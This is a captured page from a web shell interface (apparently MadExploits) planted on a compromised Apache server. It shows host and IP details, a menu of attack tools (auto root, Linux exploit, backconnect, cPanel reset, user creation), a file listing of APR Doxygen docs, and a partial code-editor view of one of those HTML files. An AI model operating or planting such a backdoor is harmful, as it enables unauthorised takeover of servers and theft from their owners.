Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
apr-devel-1.6.2 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
search
[ DIR ]
drwxr-xr-x
annotated.html
10.39
KB
-rw-r--r--
apr_8h.html
67.47
KB
-rw-r--r--
apr_8h_source.html
104.97
KB
-rw-r--r--
apr__allocator_8h.html
15.51
KB
-rw-r--r--
apr__allocator_8h_source.html
43.65
KB
-rw-r--r--
apr__atomic_8h.html
10.77
KB
-rw-r--r--
apr__atomic_8h_source.html
31.57
KB
-rw-r--r--
apr__cstr_8h.html
13.38
KB
-rw-r--r--
apr__cstr_8h_source.html
59.29
KB
-rw-r--r--
apr__dso_8h.html
9.62
KB
-rw-r--r--
apr__dso_8h_source.html
23.62
KB
-rw-r--r--
apr__env_8h.html
7.77
KB
-rw-r--r--
apr__env_8h_source.html
18.3
KB
-rw-r--r--
apr__errno_8h.html
91.9
KB
-rw-r--r--
apr__errno_8h_source.html
245.56
KB
-rw-r--r--
apr__escape_8h.html
19.73
KB
-rw-r--r--
apr__escape_8h_source.html
84.97
KB
-rw-r--r--
apr__escape__test__char_8h_sou...
9.54
KB
-rw-r--r--
apr__file__info_8h.html
44.72
KB
-rw-r--r--
apr__file__info_8h_source.html
109.17
KB
-rw-r--r--
apr__file__io_8h.html
66.41
KB
-rw-r--r--
apr__file__io_8h_source.html
210.29
KB
-rw-r--r--
apr__fnmatch_8h.html
9.78
KB
-rw-r--r--
apr__fnmatch_8h_source.html
32.69
KB
-rw-r--r--
apr__general_8h.html
12.88
KB
-rw-r--r--
apr__general_8h_source.html
47.17
KB
-rw-r--r--
apr__getopt_8h.html
10.13
KB
-rw-r--r--
apr__getopt_8h_source.html
42.44
KB
-rw-r--r--
apr__global__mutex_8h.html
13.54
KB
-rw-r--r--
apr__global__mutex_8h_source.h...
41.93
KB
-rw-r--r--
apr__hash_8h.html
18.87
KB
-rw-r--r--
apr__hash_8h_source.html
61.12
KB
-rw-r--r--
apr__inherit_8h.html
10.49
KB
-rw-r--r--
apr__inherit_8h_source.html
13.46
KB
-rw-r--r--
apr__lib_8h.html
15.84
KB
-rw-r--r--
apr__lib_8h_source.html
47.76
KB
-rw-r--r--
apr__mmap_8h.html
12.37
KB
-rw-r--r--
apr__mmap_8h_source.html
38.35
KB
-rw-r--r--
apr__network__io_8h.html
53.78
KB
-rw-r--r--
apr__network__io_8h_source.htm...
197.97
KB
-rw-r--r--
apr__perms__set_8h.html
8.35
KB
-rw-r--r--
apr__perms__set_8h_source.html
17.88
KB
-rw-r--r--
apr__poll_8h.html
26.86
KB
-rw-r--r--
apr__poll_8h_source.html
103.48
KB
-rw-r--r--
apr__pools_8h.html
33.73
KB
-rw-r--r--
apr__pools_8h_source.html
155.74
KB
-rw-r--r--
apr__portable_8h.html
35.47
KB
-rw-r--r--
apr__portable_8h_source.html
130.87
KB
-rw-r--r--
apr__proc__mutex_8h.html
15.72
KB
-rw-r--r--
apr__proc__mutex_8h_source.htm...
45.04
KB
-rw-r--r--
apr__random_8h.html
14.78
KB
-rw-r--r--
apr__random_8h_source.html
35.38
KB
-rw-r--r--
apr__ring_8h.html
18.56
KB
-rw-r--r--
apr__ring_8h_source.html
86.27
KB
-rw-r--r--
apr__shm_8h.html
14.65
KB
-rw-r--r--
apr__shm_8h_source.html
49.04
KB
-rw-r--r--
apr__signal_8h.html
9.03
KB
-rw-r--r--
apr__signal_8h_source.html
25.44
KB
-rw-r--r--
apr__skiplist_8h.html
27.09
KB
-rw-r--r--
apr__skiplist_8h_source.html
86.24
KB
-rw-r--r--
apr__strings_8h.html
16.97
KB
-rw-r--r--
apr__strings_8h_source.html
76.93
KB
-rw-r--r--
apr__support_8h.html
6.8
KB
-rw-r--r--
apr__support_8h_source.html
15.74
KB
-rw-r--r--
apr__tables_8h.html
27.8
KB
-rw-r--r--
apr__tables_8h_source.html
106.98
KB
-rw-r--r--
apr__thread__cond_8h.html
11.62
KB
-rw-r--r--
apr__thread__cond_8h_source.ht...
34.18
KB
-rw-r--r--
apr__thread__mutex_8h.html
11.94
KB
-rw-r--r--
apr__thread__mutex_8h_source.h...
28
KB
-rw-r--r--
apr__thread__proc_8h.html
58.08
KB
-rw-r--r--
apr__thread__proc_8h_source.ht...
193.39
KB
-rw-r--r--
apr__thread__rwlock_8h.html
11.75
KB
-rw-r--r--
apr__thread__rwlock_8h_source....
31.75
KB
-rw-r--r--
apr__time_8h.html
21.87
KB
-rw-r--r--
apr__time_8h_source.html
56.45
KB
-rw-r--r--
apr__user_8h.html
12.61
KB
-rw-r--r--
apr__user_8h_source.html
36.29
KB
-rw-r--r--
apr__version_8h.html
24.02
KB
-rw-r--r--
apr__version_8h_source.html
34.22
KB
-rw-r--r--
apr__want_8h.html
6.36
KB
-rw-r--r--
apr__want_8h_source.html
23
KB
-rw-r--r--
bc_s.png
676
B
-rw-r--r--
bdwn.png
147
B
-rw-r--r--
bug.html
9.25
KB
-rw-r--r--
classes.html
8.08
KB
-rw-r--r--
closed.png
132
B
-rw-r--r--
deprecated.html
11.51
KB
-rw-r--r--
dir_47ab2aa5b94fb8f65103c173b2...
5.55
KB
-rw-r--r--
dir_4bd6cd521a56a9f4d924ab2d33...
5.61
KB
-rw-r--r--
dir_a4fd7f16abbe32b73833244217...
5.52
KB
-rw-r--r--
dir_d44c64559bbebec7f509842c48...
24.09
KB
-rw-r--r--
doxygen.css
23.29
KB
-rw-r--r--
doxygen.png
3.69
KB
-rw-r--r--
dynsections.js
2.91
KB
-rw-r--r--
files.html
18.53
KB
-rw-r--r--
ftv2blank.png
86
B
-rw-r--r--
ftv2cl.png
453
B
-rw-r--r--
ftv2doc.png
746
B
-rw-r--r--
ftv2folderclosed.png
616
B
-rw-r--r--
ftv2folderopen.png
597
B
-rw-r--r--
ftv2lastnode.png
86
B
-rw-r--r--
ftv2link.png
746
B
-rw-r--r--
ftv2mlastnode.png
246
B
-rw-r--r--
ftv2mnode.png
246
B
-rw-r--r--
ftv2mo.png
403
B
-rw-r--r--
ftv2node.png
86
B
-rw-r--r--
ftv2ns.png
388
B
-rw-r--r--
ftv2plastnode.png
229
B
-rw-r--r--
ftv2pnode.png
229
B
-rw-r--r--
ftv2splitbar.png
314
B
-rw-r--r--
ftv2vertline.png
86
B
-rw-r--r--
functions.html
20.74
KB
-rw-r--r--
functions_func.html
5.54
KB
-rw-r--r--
functions_vars.html
20.5
KB
-rw-r--r--
globals.html
151.85
KB
-rw-r--r--
globals_0x68.html
6.1
KB
-rw-r--r--
globals_defs.html
63.58
KB
-rw-r--r--
globals_defs_0x68.html
5.97
KB
-rw-r--r--
globals_enum.html
6.87
KB
-rw-r--r--
globals_eval.html
13.12
KB
-rw-r--r--
globals_func.html
75.26
KB
-rw-r--r--
globals_type.html
15.52
KB
-rw-r--r--
globals_vars.html
5.81
KB
-rw-r--r--
group___a_p_r.html
15.92
KB
-rw-r--r--
group___a_p_r___e_r_r_o_r__map...
5.87
KB
-rw-r--r--
group___a_p_r___error.html
87.84
KB
-rw-r--r--
group___a_p_r___global_mutex.h...
25.64
KB
-rw-r--r--
group___a_p_r___o_c.html
9.98
KB
-rw-r--r--
group___a_p_r___s_t_a_t_u_s___...
92.26
KB
-rw-r--r--
group___a_p_r___strings___snpr...
10.31
KB
-rw-r--r--
group___a_p_r___util___escapin...
64.2
KB
-rw-r--r--
group___i_p___proto.html
7.51
KB
-rw-r--r--
group___pool_cleanup.html
20.99
KB
-rw-r--r--
group___pool_debug.html
13.43
KB
-rw-r--r--
group__apr__allocator.html
26.47
KB
-rw-r--r--
group__apr__atomic.html
21.28
KB
-rw-r--r--
group__apr__cstr.html
34.38
KB
-rw-r--r--
group__apr__ctype.html
18.55
KB
-rw-r--r--
group__apr__dir.html
13.04
KB
-rw-r--r--
group__apr__dso.html
15.21
KB
-rw-r--r--
group__apr__env.html
11.25
KB
-rw-r--r--
group__apr__errno.html
35.19
KB
-rw-r--r--
group__apr__file__attrs__set__...
7.6
KB
-rw-r--r--
group__apr__file__info.html
14
KB
-rw-r--r--
group__apr__file__io.html
153.63
KB
-rw-r--r--
group__apr__file__lock__types....
8.56
KB
-rw-r--r--
group__apr__file__open__flags....
36.62
KB
-rw-r--r--
group__apr__file__permissions....
32.42
KB
-rw-r--r--
group__apr__file__seek__flags....
7.5
KB
-rw-r--r--
group__apr__file__stat.html
27.14
KB
-rw-r--r--
group__apr__file__writev.html
6.11
KB
-rw-r--r--
group__apr__filepath.html
31.09
KB
-rw-r--r--
group__apr__fnmatch.html
16.85
KB
-rw-r--r--
group__apr__general.html
14.97
KB
-rw-r--r--
group__apr__getopt.html
18.95
KB
-rw-r--r--
group__apr__hash.html
47.1
KB
-rw-r--r--
group__apr__lib.html
18.73
KB
-rw-r--r--
group__apr__library.html
11.81
KB
-rw-r--r--
group__apr__mcast.html
16.63
KB
-rw-r--r--
group__apr__mmap.html
20.44
KB
-rw-r--r--
group__apr__network__io.html
119.24
KB
-rw-r--r--
group__apr__os__dso.html
9.76
KB
-rw-r--r--
group__apr__os__thread.html
17.1
KB
-rw-r--r--
group__apr__perms__set.html
11.33
KB
-rw-r--r--
group__apr__platform.html
71.68
KB
-rw-r--r--
group__apr__poll.html
64.65
KB
-rw-r--r--
group__apr__pools.html
75
KB
-rw-r--r--
group__apr__portabile.html
68.28
KB
-rw-r--r--
group__apr__proc__mutex.html
30.89
KB
-rw-r--r--
group__apr__random.html
28.05
KB
-rw-r--r--
group__apr__ring.html
81.88
KB
-rw-r--r--
group__apr__shm.html
33.96
KB
-rw-r--r--
group__apr__signal.html
12.75
KB
-rw-r--r--
group__apr__skiplist.html
72.52
KB
-rw-r--r--
group__apr__sockopt.html
18.61
KB
-rw-r--r--
group__apr__strings.html
47.11
KB
-rw-r--r--
group__apr__support.html
7.74
KB
-rw-r--r--
group__apr__tables.html
78.7
KB
-rw-r--r--
group__apr__thread__cond.html
21.02
KB
-rw-r--r--
group__apr__thread__mutex.html
19.5
KB
-rw-r--r--
group__apr__thread__proc.html
152.06
KB
-rw-r--r--
group__apr__thread__rwlock.htm...
20.79
KB
-rw-r--r--
group__apr__time.html
45.58
KB
-rw-r--r--
group__apr__user.html
25.95
KB
-rw-r--r--
group__pollflags.html
8.67
KB
-rw-r--r--
group__pollopts.html
9.6
KB
-rw-r--r--
index.html
4.91
KB
-rw-r--r--
jquery.js
102.24
KB
-rw-r--r--
modules.html
24.46
KB
-rw-r--r--
nav_f.png
153
B
-rw-r--r--
nav_g.png
108
B
-rw-r--r--
nav_h.png
98
B
-rw-r--r--
open.png
123
B
-rw-r--r--
pages.html
5.44
KB
-rw-r--r--
sha2_8h_source.html
14.99
KB
-rw-r--r--
struct___s_h_a256___c_t_x.html
6.69
KB
-rw-r--r--
structapr__array__header__t.ht...
9.69
KB
-rw-r--r--
structapr__crypto__hash__t.htm...
7.51
KB
-rw-r--r--
structapr__finfo__t.html
19.84
KB
-rw-r--r--
structapr__getopt__option__t.h...
8.91
KB
-rw-r--r--
structapr__getopt__t.html
14.62
KB
-rw-r--r--
structapr__hdtr__t.html
8.85
KB
-rw-r--r--
structapr__memnode__t.html
11.06
KB
-rw-r--r--
structapr__mmap__t.html
9.86
KB
-rw-r--r--
structapr__os__proc__mutex__t....
8.97
KB
-rw-r--r--
structapr__os__sock__info__t.h...
10.52
KB
-rw-r--r--
structapr__pollfd__t.html
10.58
KB
-rw-r--r--
structapr__proc__t.html
11.36
KB
-rw-r--r--
structapr__sockaddr__t.html
17.18
KB
-rw-r--r--
structapr__table__entry__t.htm...
8.16
KB
-rw-r--r--
structapr__time__exp__t.html
13.73
KB
-rw-r--r--
structapr__version__t.html
8.61
KB
-rw-r--r--
structapr__vformatter__buff__t...
7.43
KB
-rw-r--r--
sync_off.png
853
B
-rw-r--r--
sync_on.png
845
B
-rw-r--r--
tab_a.png
142
B
-rw-r--r--
tab_b.png
169
B
-rw-r--r--
tab_h.png
177
B
-rw-r--r--
tab_s.png
184
B
-rw-r--r--
tabs.css
1.14
KB
-rw-r--r--
unionapr__descriptor.html
7.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : group__apr__strings.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.5"/> <title>Apache Portable Runtime: String routines</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">Apache Portable Runtime </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.5 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="annotated.html"><span>Data Structures</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> </div><!-- top --> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Macros</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark"> </span>Groups</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(10)"><span class="SelectionMark"> </span>Pages</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="header"> <div class="summary"> <a href="#groups">Modules</a> | <a href="#func-members">Functions</a> </div> <div class="headertitle"> <div class="title">String routines<div class="ingroups"><a class="el" href="group___a_p_r.html">Apache Portability Runtime library</a></div></div> </div> </div><!--header--> <div class="contents"> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="groups"></a> Modules</h2></td></tr> <tr class="memitem:group__apr__cstr"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__cstr.html">C (POSIX) locale string functions</a></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:group___a_p_r___strings___snprintf"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="group___a_p_r___strings___snprintf.html">snprintf implementations</a></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2"> </td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="func-members"></a> Functions</h2></td></tr> <tr class="memitem:gabe7e226c26e1535d787a7836b9c8d0a1"><td class="memItemLeft" align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gabe7e226c26e1535d787a7836b9c8d0a1">apr_strnatcmp</a> (char const *a, char const *b)</td></tr> <tr class="separator:gabe7e226c26e1535d787a7836b9c8d0a1"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga1708d51c4989934fec663b23366430f3"><td class="memItemLeft" align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga1708d51c4989934fec663b23366430f3">apr_strnatcasecmp</a> (char const *a, char const *b)</td></tr> <tr class="separator:ga1708d51c4989934fec663b23366430f3"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gabc79e99ff19abbd7cfd18308c5f85d47"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gabc79e99ff19abbd7cfd18308c5f85d47">apr_pstrdup</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, const char *s)</td></tr> <tr class="separator:gabc79e99ff19abbd7cfd18308c5f85d47"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga0eae1185559578c0f9792413305eca25"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga0eae1185559578c0f9792413305eca25">apr_pstrmemdup</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, const char *s, apr_size_t n)</td></tr> <tr class="separator:ga0eae1185559578c0f9792413305eca25"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gad17053ffe6604d908ae7cac33543a6b4"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gad17053ffe6604d908ae7cac33543a6b4">apr_pstrndup</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, const char *s, apr_size_t n)</td></tr> <tr class="separator:gad17053ffe6604d908ae7cac33543a6b4"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gac3886f14ecf5aed8fe4493087799685c"><td class="memItemLeft" align="right" valign="top">void * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gac3886f14ecf5aed8fe4493087799685c">apr_pmemdup</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, const void *m, apr_size_t n)</td></tr> <tr class="separator:gac3886f14ecf5aed8fe4493087799685c"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga7bd80c95ffb7b3f96bc78e7b5b5b0045"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga7bd80c95ffb7b3f96bc78e7b5b5b0045">apr_pstrcat</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p,...)</td></tr> <tr class="separator:ga7bd80c95ffb7b3f96bc78e7b5b5b0045"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga15d0853af252a894e288c682b8f84309"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga15d0853af252a894e288c682b8f84309">apr_pstrcatv</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, const struct iovec *vec, apr_size_t nvec, apr_size_t *nbytes)</td></tr> <tr class="separator:ga15d0853af252a894e288c682b8f84309"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga05248544edebc71070140d2ce5969c10"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga05248544edebc71070140d2ce5969c10">apr_pvsprintf</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, const char *fmt, va_list ap)</td></tr> <tr class="separator:ga05248544edebc71070140d2ce5969c10"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga3eca76b8d293c5c3f8021e45eda813d8"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga3eca76b8d293c5c3f8021e45eda813d8">apr_psprintf</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, const char *fmt,...)</td></tr> <tr class="separator:ga3eca76b8d293c5c3f8021e45eda813d8"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga69700a825e82dd646f9f166599040431"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga69700a825e82dd646f9f166599040431">apr_cpystrn</a> (char *dst, const char *src, apr_size_t dst_size)</td></tr> <tr class="separator:ga69700a825e82dd646f9f166599040431"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gafd92441a5f4fa3b5f5aa49e1f9884bc7"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gafd92441a5f4fa3b5f5aa49e1f9884bc7">apr_collapse_spaces</a> (char *dest, const char *src)</td></tr> <tr class="separator:gafd92441a5f4fa3b5f5aa49e1f9884bc7"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga5213cee7e8ba799df9dc2e57f71cd4dd"><td class="memItemLeft" align="right" valign="top"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga5213cee7e8ba799df9dc2e57f71cd4dd">apr_tokenize_to_argv</a> (const char *arg_str, char ***argv_out, <a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *token_context)</td></tr> <tr class="separator:ga5213cee7e8ba799df9dc2e57f71cd4dd"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga1cf7fcb5843707ece733e27aad85c516"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga1cf7fcb5843707ece733e27aad85c516">apr_strtok</a> (char *str, const char *sep, char **last)</td></tr> <tr class="separator:ga1cf7fcb5843707ece733e27aad85c516"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gae1c780f2d908a286a141e4b885254a9c"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gae1c780f2d908a286a141e4b885254a9c">apr_itoa</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, int n)</td></tr> <tr class="separator:gae1c780f2d908a286a141e4b885254a9c"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga578ea3fa78957c6b2e9b8ab4cbfd60b1"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga578ea3fa78957c6b2e9b8ab4cbfd60b1">apr_ltoa</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, long n)</td></tr> <tr class="separator:ga578ea3fa78957c6b2e9b8ab4cbfd60b1"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gabce9fb74bbad08d795389bfe859053d3"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gabce9fb74bbad08d795389bfe859053d3">apr_off_t_toa</a> (<a class="el" href="group__apr__pools.html#gaf137f28edcf9a086cd6bc36c20d7cdfb">apr_pool_t</a> *p, apr_off_t n)</td></tr> <tr class="separator:gabce9fb74bbad08d795389bfe859053d3"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga1583688e0777398174f62e46a522ae8f"><td class="memItemLeft" align="right" valign="top"><a class="el" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga1583688e0777398174f62e46a522ae8f">apr_strtoff</a> (apr_off_t *offset, const char *buf, char **end, int base)</td></tr> <tr class="separator:ga1583688e0777398174f62e46a522ae8f"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:ga1da34829609e8976f498b235afd6cbe4"><td class="memItemLeft" align="right" valign="top">apr_int64_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#ga1da34829609e8976f498b235afd6cbe4">apr_strtoi64</a> (const char *buf, char **end, int base)</td></tr> <tr class="separator:ga1da34829609e8976f498b235afd6cbe4"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaf0653577ee64efb5406d932db95cce3d"><td class="memItemLeft" align="right" valign="top">apr_int64_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gaf0653577ee64efb5406d932db95cce3d">apr_atoi64</a> (const char *buf)</td></tr> <tr class="separator:gaf0653577ee64efb5406d932db95cce3d"><td class="memSeparator" colspan="2"> </td></tr> <tr class="memitem:gaf66522fda6d2dfa540fdc58831405980"><td class="memItemLeft" align="right" valign="top">char * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__apr__strings.html#gaf66522fda6d2dfa540fdc58831405980">apr_strfsize</a> (apr_off_t size, char *buf)</td></tr> <tr class="separator:gaf66522fda6d2dfa540fdc58831405980"><td class="memSeparator" colspan="2"> </td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <h2 class="groupheader">Function Documentation</h2> <a class="anchor" id="gaf0653577ee64efb5406d932db95cce3d"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">apr_int64_t apr_atoi64 </td> <td>(</td> <td class="paramtype">const char * </td> <td class="paramname"><em>buf</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>parse a base-10 numeric string into a 64-bit numeric value. Equivalent to apr_strtoi64(buf, (char**)NULL, 10). </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">buf</td><td>The string to parse </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>The numeric value of the string. On overflow, errno is set to ERANGE. On success, errno is set to 0. </dd></dl> </div> </div> <a class="anchor" id="gafd92441a5f4fa3b5f5aa49e1f9884bc7"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_collapse_spaces </td> <td>(</td> <td class="paramtype">char * </td> <td class="paramname"><em>dest</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>src</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Remove all whitespace from a string </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">dest</td><td>The destination string. It is okay to modify the string in place. Namely dest == src </td></tr> <tr><td class="paramname">src</td><td>The string to rid the spaces from. </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>A pointer to the destination string's null terminator. </dd></dl> </div> </div> <a class="anchor" id="ga69700a825e82dd646f9f166599040431"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char* apr_cpystrn </td> <td>(</td> <td class="paramtype">char * </td> <td class="paramname"><em>dst</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const char * </td> <td class="paramname"><em>src</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">apr_size_t </td> <td class="paramname"><em>dst_size</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> 